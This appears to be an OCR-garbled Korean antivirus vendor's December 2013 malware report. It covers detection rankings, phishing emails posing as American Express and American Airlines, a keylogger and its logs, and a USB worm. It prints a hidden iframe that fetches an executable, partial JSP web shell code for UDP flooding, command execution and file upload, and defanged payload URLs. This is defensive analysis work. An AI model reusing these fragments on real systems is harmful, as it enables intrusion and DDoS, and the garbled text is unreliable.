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1 — Win-Trojan/Patched.kg 258,661 34.9%
2 — Textimage/Autorun 72,207 9.7 %
3 - Als/Bursted 55,701 7.5%
4 - RIPPER 34,460 4.7 %
5 - Trojan/Win32.fraudl 33,390 4.5%
6 A2 Win-Trojan/Wgames.Gen 31,235 4.2 %
7 - Trojan/Win32.adh 29,252 3.9%
8 v2 JS/Agent 25,404 3.4%
9 6 Binlmage/Host 24,759 3.3%
10 v1 Win32/Autorun.worm.307200.F 20,952 2.8%
11 — Trojan/Win32.agent 18,928 2.6%
12 NEW Downloader/Win32.delf 17,177 2.3%
13 AL ASD.PREVENTION 17,050 2.3%
14 NEW Trojan/Win32.banker 16,882 2.3%
15 NEW Malware/Win32.generic 15,859 2.1 %
16 v2 Gif/lIframe 15,585 21%
17 V4 Trojan/Win32.keygen 15,280 2.1 %
18 v6 Win-Trojan/Agent.21734801 14,592 2%
19 A1 Win-Trojan/Malpacked5.Gen 12,849 1.7 %

20 NEW VBS/Agent 11,517 1.6 %
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3 —_ Win-Trojan/Agent 84,602 7.5%
4 —_ Textimage/Autorun 72,224 6.4 %
5 — Als/Bursted 55,701 5%
6 —_ Win-Trojan/Onlinegamehack 43,975 3.9%
7 —_ Win32/Conficker 38,677 35%
8 —_ Win32/Autorun.worm 36,348 3.2%
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10 A5 Win-Trojan/Wgames 31,235 2.8%
11 v Win-Trojan/Downloader 29,529 2.6%
12 — Win32/Kido 28,858 2.6 %
13 NEW Downloader/Win32 28,787 2.6%
14 — Win32/Virut 27,097 2.4%
15 v2 JS/Agent 25,470 2.3%
16 A2 Binlmage/Host 24,759 2.2%
17 NEW Malware/Win32 23,634 21 %
18 v7 Adware/Win32 20,331 1.8%
19 NEW ASD 17,050 1.5 %
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1 Win-Trojan/Urelas.247969 3,440 20.8 %
2 Win-Trojan/Onlinegamehack.117760.U 2,627 15.8 %
3 Win-Trojan/Onlinegamehack.271455 1,616 9.7%
4 Win-Trojan/Agent.222572 1,437 8.7 %
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6 Win-Trojan/Banker.24656 927 5.6 %
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9 Textlmage/Host 681 41%
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13 Dropper/Magania.86103040 267 1.6 %
14 Win-Trojan/Onlinegamehack.342801 258 1.6 %
15 Win-Trojan/Banki.23552.C 240 1.4 %
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18 Dropper/Onlinegamehack.117299 121 0.7 %
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TOTAL 16,576 100.0 %
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(V3 MIZ=Q| ZITts)
HWP/Exploit (2013,12.17.02)
Trojan/Win32.Agent (2013,12,17.02)

H2ot HAIXIZ Zet AH HIY
SH20llAf B M2 =St AT HIUZ 20| AFBEl= 0|52 DHL,
HEA S 220/ %o| UsAZI C2X 22 F|AIS2| 0|20]C}. 0]

Hoj| &A=l Afl= AMEX(American Express)2h=

et A HjZo|ct

ZxQ| OIF= At

Secure Message

The_security of your personal information is of the utmost importance to American Express,
so[we have sent the attached as a secure electronic file.

Note:[The attached file contains encrypted data. |

I you have any questions, please call us at 800-703-3684, option 0. Representatives are
available to assist you Monday through Thursday between 8:00 a.n. and 8:00 p.m. ET and
Friday between 8:00 a.n. and 6:00 p.n. ET

The information contained in this message may be privileged, confidential and protected
fron disclosure. If the reader of this message is not the intended recipient, or an
employee or agent responsible for delivering this message to the intended recipient, you
are hereby notified that any dissemination, distribution or copying of this comnunication
is strictly prohibited.

Thank you,

Anerican Express

2012 Anerican Express Company. All rights reserved.
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Trojan/Win32.Bublik (2013.11.21.03)
Trojan/Win32.Bublik (2013,11.21.04)
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C:\Documents and Settings\[AF2X} O \Local Settings\
Temp\RarSFX0\A Microsoft Office Excel TAIE xlsx
C:\Documents and Settings\[AF2X} O] \Local Settings\
Temp\RarSFX0\11.exe

C:\Documents and Settings\[AFZSXt O|&]\Application Data\bs_
stealth.exe

[EIXIAER| SE]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run]

bs_stealth="C:\Documents and Settings\[AFZX} O|S]\
Application Data\bs_stealth.exe”

MAE Il = “Af OJ0|22 ATZE QI|A M QJAExisx’ I}
U2 JHQ! HETE ZEtEl MA od EA Df0|H, 11.exe Tt
bs_stealth.exe D1t St IHA0|Ct,

bs_stealthexe THU2 ME0|2 SAISHH, XMt St A20f %]
2t bs_stealth.dat THOf| Of2ff 21t 20| ALSAI7t (et 7[2= ¢
2 US Msk=s 71=710]ct,

5 bs.log.dat |

[ 93 23 'ﬂa 02 12 2013, 10:46:31 2@ ]
endpage updowndel let tdeleteend tinser *
[ { :elom - Windows Internet Explorer - 02 12 2013, 10:47:30 23 )
v A com
5 (A "e :: '] <B* "<} 10 @ O|F - vindous Internec Explorer - 02 12 2013, 10:47:54 &3 )
useridtabpassvord
[ ®41 - Microsoft Word - 02 12 2013, 10:50:06 2.3 )
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[ BE olF28 AF - 0z 12 2013, 10:50:16 2 )
7 ansty1

12 1-16 | bs_stealth.dat Tt LIE(7|2Z)

bs_stealth.exe TIA2 Of2 E=H|QI0]| =7 |XMo2 &S A=FITE

admin.k****s.com:2002 (112.1**.**7.10)
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(V3 MIZZQ| RITHH)
Trojan/Win32.Dropper (2013,11.22.01)
Trojan/Win32.Injector (2013.11.28.04)
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<iframe src="http://117 *** 1** 30:6655/Serve.exe” width=0
height=0>
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2 AYEI=S 2RIAERI0| AHIAR S23HD, C8C AR s
= P2 H&2 A=t

C:\Program Files\<#1& ZC{H>\svchost.exe

HKLM\SYSTEM\ControlSet001\Services\Windows Test
5.0\lmagePath “C:\ProgramFiles\eissic\svchost.exe”

117+ 1%+ 30:77

ol= sid

Me{ollA UDP E2{(Flooding) THZI0| L4, LIS 5t
0| CH2kl= 2A7H 2 d3i=0| 2nict.

2 Z1} UDP Z2{=2 [12! 1-17]9] IPS EHX| 2719} 20| CHAIX|
==

=
S7 PHT BARIE LIS 2E0] Mt P2 2fQIsiCt

in
@tz

38 1-17 | UDP

JEiLt IERI0] AHIS FS SAOIE ANTE 2 ofsvt Sl
X QL0 SHEF ABHOIA SABHS THIIZ Z4%{5101 UDP Z2i=lo]

M5t Aol HIEST THAlS BRI

2= 7 S EN B2 thAX|e] UDP THZI2 2F 60Mbit/sec, 90
S0t 5.27Gbit TS ZHHAIZACE, Z|= UDP {2 244 AI™ 0Tl

=
S u

O 0t 20| 2501 M2 **x jsp TO[X|E S5 UDP THZI0]

2 FIC ZRXIZ OIZE L IP218X**.1*.46)01| A

10

27 thatol P 34, ZE, ZRES el HolE, FI2E, ARE &

20} DDoS S2{0| 2= Z0|UC.

=11 DA TR EY
. /2 U4port=62774typesudpddat asLé<ount=90&8threads5 HTTD;'l.:l
ATAnd

user-agent : i-lazi'lia/(S.O (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

x-powered-By: Servier 2.5; 180ss=S.0/JBossweb-2.1

Set-Cookie: JSESSIONIDSS0AL455FB4ATEAIR475B364COLFB4FT4; Pathe/Imx-console
content-Typé: text/html;charset-ISo-8859-1

Content-Length: 53

pate: Thu, 12 Dec 2013 02:48:22 GMT

12! 119 | UDP THZ! 248 ol Hi

TEQ001 Mol =EISH xjsp MOl Eh= QUK 22 ChSat Zct,

1
SAXPTL XIEsH P, ZE, H|0o|E|, ZREE EIR, 7I2E Az|=9| 2l
Xt 2 Tt FRRE0| XIFE AlZKE)Set 8 tHofl Az=0i| 5

Sl 402 32 Ui

|
==

<s@ page jJava” import="java.net.®,java.io.®,java.ucil.Date” pageEncoding="ISO-8859-1"s>
<HTML><BODY><pre>
<%

if( request.getParameter ("jp") '= null)

(
String 1p = request.getParameter ("ip"):
int port s Integer.parselnt (request.getParameter{fport”));:
String data= request.getParameter ("data”):
String type = request.getParameter (Jcype”):
int count = Integer.parseInt (request.getParameter (" t))%
int thread - Integer.parselnt(request.getParameter (- 1d”) Ja
long TempTime = new Date () .getTime():
long Endtime = TempTime + (count®1000):

if (thread > 0)
for (int 1 = 0 ; 1 < thread : i++4)

new MainThread (1ip,port,data, type, count, Endtime) .start():

a2 1-20 | **x jsp TFY LHE(1)

2. CMD
0Ss &2l = Bl=et =7} o

OSE T-=o10 SZAXIZFE AA|

else if (request.getParameter ("gyd"”) '= null)

String cmd:

String() cmdarr;

String 0S = System.getProperty(”g: ):

cmd = new String (request.getParameter ("cug")):
if (0S.startaVith(” ")«

cmdarc sinew Stringn(] (“gmd”, "/C", cmd):
eee

" cmdece ey S, 0 faht, ", cmd)s
;’rocess P = Runtime.getRuntime () .exec(cmdarr) ;
out os = ceam() ;

in = p.get ):
DataIuputStress dis = new DacaInpucSccesm(in)s
String disr = dis.readline():
while ( disr '= null ) (

out.printin(disr):

disr = dis.readLine():

a2l 1-21 | **xjsp DI LHZ(2)

3.F

SAXL Hoh= AUS 2k

else if (request.getParameter("”) '=null)
(new java.io.FileOutputStrean (application.getRealPach(®/ ") $request.getParaneter ( ) .write(

request.getParameter ("51).getBytes ()] :
out.printin("¥iited")s

2] 1-22 | *x.jsp It LHS(3)
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050512 0126AM  <OR>
1104101529069
1110252025389
111030035120,

Ji 120516094753p.
pverwork
temp3926-
temp4a20-
Test Ap2740
TestFip 2548
uploads

<) configaami

3 Ossenveraexe

3 Kangleweb exe

TImece

I WserverC.exe

2] 1-23 | FTP F4 5h

e

& AT EES V3 MF0l|A= of2het 2o FIEFetth.

(V3 MIZ=Q| ZITts)
Trojan/Win32.Agent (2013,11.08.01)
JS/Webshell(2013,12.16.03)

o2zt g2 (American Airlines) HIZZ $|xket ATH |

otH|2|Zt &FZ(American Airines) M2 S|ZcH ATH H|QI0| LhZdLH
AI‘%XIEQI ZO|7t QFEICE

From: American Arrines <ticket t.6@aa.com>
o oo

Subject: Your order # NR17-7804 has been completed
I Message | S| E-TICKET_FOR_PRINT_AA1096.2ip (70 KB)

This is your e-ticked receipt

TICKET TYPE / E-TICKET NUMBER / EH012379588
SEAT / 66A/ZONE 1

DATE / TIME 8 DECEMBER, 2013, 08:15 PM
ARRIVING /Riverside

ST/OK

REF /KE.7018 BAG / 7TPC

TOTAL PRICE /538.74 USD
FORM OF PAYMENT/CC

Your e-ticked is attached.
You can print your e-ticket.

Yours sincerely,
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tkdobaa
2t HOIEI(Y:
SetingsWAdministratorwLocal SettingsWApplication DataWIIETEEANTE

3 1-26 | = AE HIXIAER| S5

ot AERIL ofEAE HY ARE QIX[GHK| ZSH=F ofl2f HIAIX]
7t ArSKIOfA| LIEHHTE,

B E-TICKET_AA_FOR PRINT,txt - 852 51

DEE B M) RAUY) SswWeD
Unknown ERROR? Flease walt and try agaim later.
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TCP CONNECT 1 2, 19 ]

baklxjhh.exe L
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HEAs |.
ZSEC
Oestaticn Prosocol Length o
9 % o 382 from: “American Afrlines™ <support.88aa.com>, subject: Your ticket #102952,
17 127 b 650 from: “Amerfcan Afrlines™ <support.98aa.com>, subject: Download your ticket #5981,
50 185 ™ 305 froms,“American Airlines™ <supporte2®aa.com, subjects The order #1867 is ready,
7 .26 I 1075 from: “Amer{can Afrlines™ <ticket_1090aa.com>, subject: Download your ticket #104702,
20 .68 P 630 from: “Amer fcan AfrdinesT <personal, informatfoniaa. com, subject: Your ticket #106116,
19 .23 ™ 536 from: “American Afrlines” <support.88aa.com>, subject: Ticket #5115 f{s ready,
13 3 ™ 536 from: “Amer ican Afclings” <ticket_Support. 6093.COm, Subject: The order #8279 is ready,
6 bl 1306 from: “Amerfcan Afrlines” <order.17902a.com, subject: vour ticket,
17 .27 ™ 305 from: “American Aielines” <order.37703a.com, subject: Ticket #5667 {s ready,
12: 2.1 ™ 305 from: "amerfcan Afrlines” <ticket_9808aa.com, subject: Your order # NR9209 has been cospleted)
9 186 844 from: “Amerfcan Afr1ines” <support.90aa.com>, subject: Your order # I016-7047 has been completd
20. 3.105 844 from: "Aserican Airlines™ <support.28aa.com>, subject: Download your ticket #8778,
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V3 MIS0ilAt= of2fiet 20| TIEBICE

(V3 MiEzel TITH)
VBS/Dinihou (2013,12.17.02)
VBS/Agent (2013.12.18.00)
VBS/Dunihi (2013.12.19.01)

OlH0]| UAE OER OpYTEL USBE S8 Htsis 2521 ok
T Q0| U Al £V} AYTCE CIREC S 7150| E3ls

Q0| AF2XIQ| o7t @F=ICt

rin

OltHof| &AE QE2 AHFC=o| SEHS VBE(Visual Basic
Encoded Script File)O|Ct, [h2tA] AlsH mlo| O AIRIE 10|

7] W20l HEE AMARS SRISHEH wscriptexe Z2MATE SE

Proce plorer - Sysinternals: wwv At pt.exe: 1860 Propertie -

S Theeads | TCPP | Securty | Enviooment | srngs
EX AP 1 Image | performance | _Performance Graph | ik and Network.
PID CPU Privale B.
1548 3000 Insge e
24 2116 i’ Microsoft (R) Windows Based Script Host
2 830 Hicrosoft Corporaton
650 1,208
i 3800
T84 1538
182 800
1640 o
e s 0
1880 4504
1564 304
196 1% 856 Curenk dredory:
(C:MDccuments and Settings Wadminstrator
(CPU Usage: 6.25% _ Commit Charge: 12.44% Processes: % Autostar Locaton

12! 1-37 | wscript.exe0f| 25 Alsls|= tMHTF=

QERI2 XIS Mgl opMTIE0l 0K USBE 3 MIHECE 2
EIp1 USB Hl2jol= oHTE ielo] MNE S HoIgt 4 ct
S35| [22] 4402 = 20f £ T EA| 7152 AB5H| 2o
224517 OfiCt

*>Removable Disk (F:)

Fle Edt View Favorites Tools Help
Qeak + () - M/"‘Sem Foders | [(71)

Addresd |« Fi l LI

File and Folder Tasks 2

) Make a new folder

€ Publish this folder to the
Web

2 1-38 | &2 T2 USB HIZ2| RE SCof MdE ofdac

ol2fet T =S| A2 UFE AHE PCOl USBE HZSI0 ARESt
HA USB7I B A= n, ZHE USBE HEEIX| &2 PCOl HE
t o[ AUCE ot A HE MO QUEU

3 —
HolIM HET QU THUSS AT AN s P

S NTEE Zeint SAl0) 2 AEIE RIS 9 S B

o
of IS A5k, ARZm=T20l| SS6 R ottt Mlze

® Autoruns | Sysinternals: www.sysinternals, com
fle Erry Qptions User Help
dan 5
13 image Hiacks S Apcint S KeoweDlls | @ Wrkbgn | @) Wnsock Powden 2 Pridontos | ©) LsAPowters | etk Provedes
Doy | Logn 4 Exgierr Expire 3 Schatded Taks | R Sevces | B Ovees | | Codocs | [ BoctEameute
o a alon Inage Path A

PTTTTEY,
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) (8] seeviecavbe o
£
“]=] Ou_. uliook Express Selup... MICIosoft Corporaon ¢ Wpeogram SlasWoutook expressWsetupSlexe
o rcun
@) 8] seeviecavbe ana
w
@00 File not tound: AboutHona

2 8w 72ip Shes Extension 130 Paviov € Wpeogram SlaswI-zoW-2ip.di ™

7] 1-39 | AR Z2as| SEE oEs

[EIX|AER] SE]
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
servieca.vbe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
servieca.vbe

HKIM H HKCU 2 25 44517 | =0l X ASKRE2E ofL|2t

PCOll Y&l 2= AL AIEo| S&ks ZCt.

[ ]

C:\Documents and Settings\Administrator\Local Settings\
Temp\servieca.vbe

C:\Documents and Settings\Administrator\A|&F HI'‘F\Z2 1
A2 T 28\servieca.vbe

C:\Documents and Settings\Administrator\Local Settings\
Temporary Internet Files\Content.|ES
\17YMWEFY\systemal1].exe
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\17YMWEFY\systemal[1].exe
C:\Documents and Settings\Administrator\Local Settings\
Temp\systema.exe

systema.exe Y2 vbe mI0f| ZHEEH EH URLEZ TZ6H CHRE
C Hiot EY EM 2 SAFEIC

[etdFCE o]
hxxp://www.da*** ***/av*¥**ic/systema.exe (1¥*.2** 5* 2#*.80)

MAME oY S [0 1-38]at 20| 47H9| ml2 A= MAF milel
svchostexe T2MA0| 2EE|0 SEGHHA 0f2f
0| MAS AlE5iC}
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[EHAMA] — [0ZAH] - [CD/USB E210|E AHS AlgH BiX[] &2
V30lIA XIZ5k= [USB =21012 XIS ZAKSE[] 7152 ARSIt

M) - [D24%] - [USB E210[2 XIS ZAtsh (] M2
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V3 MIZ0IM= of2iet 20| TIEBITt

(V3 MiEel Zictd)

VBS/Downloader (2013,11.29.04)
Trojan/Win32.Infostealer (2013,11,29.01)
Trojan/Win32.Miner (2013,12,05.00)
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S22 of2fiet 20| FAlet ez RE

Date: Sun, Dec 22 2013 07:07 AM
From: job0553(@cos*****e.com
Subject: My CV

Attached File: My_CV_Please_
Look_Job_ID8589.zip

-- Original Message --

Good Day!

| sent you my detailed CV.

| hope you will like me

| am the winner of different beauty
contests.

My photos are added as images in
the document,

| need this job very much.

Waiting for your soonest reply,
Kisses,

Ava Smith

Date: Sun, Dec 22 2013 09:32 AM
From: job3410@island*****asino.
com

Subject: Please look my CV. Thank
you

Attached File: My_CV_Please_
Look_Job_ID7026.zip

-- Original Message --

Hello,

| sent you my detailed CV.

I hope you will like me

| am the winner of different beauty
contests.

My photos are added as images in
the document,

| need this job very much.

Waiting for your soonest reply,
Kisses,

Betty Mason

Date: Sun, Dec 22 2013 11:47 AM
From: job7066(@arena*****pal.
com

Subject: My CV

Attached File: My_CV_Please_
Look_Job_ID6410.zip

-- Original Message --

Hello,

| sent you my detailed CV.

| hope you will like me

| am the winner of different beauty
contests.

My photos are added as images in
the document,

| need this job very much.

Waiting for your soonest reply,
Kisses,

Lisa Mason

Date: Sun, Dec 22 2013 02:23 PM
From: job1136(@n****d.com
Subject: my documents and
passport scans

Attached File: My_CV_Please_
Look_Job_1D4805.zip

-- Original Message --

Hello,

| sent you my detailed CV.

I'hope you will like me

| am the winner of different beauty
contests.

My photos are added as images in
the document,

| need this job very much.

Waiting for your soonest reply,
Kisses,

Karen Tailor
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= ShiAl=E! oMy _CV_document
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C:\Documents and Settings\[AF&Xt O|E]\Local Settings\
Application Data\cghvoevu.exe
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Unknown ERROR! Please wait and try again later.
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Trojan/Win32.Agent(2013.12.23.00)
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public class IndexActivity extends Activity
{
public void onCreate(Bundle paramBundle)
{
super.onCreate (paranBundle) ;
requestWindowFeature (1)
setContentView(2130903046) ;
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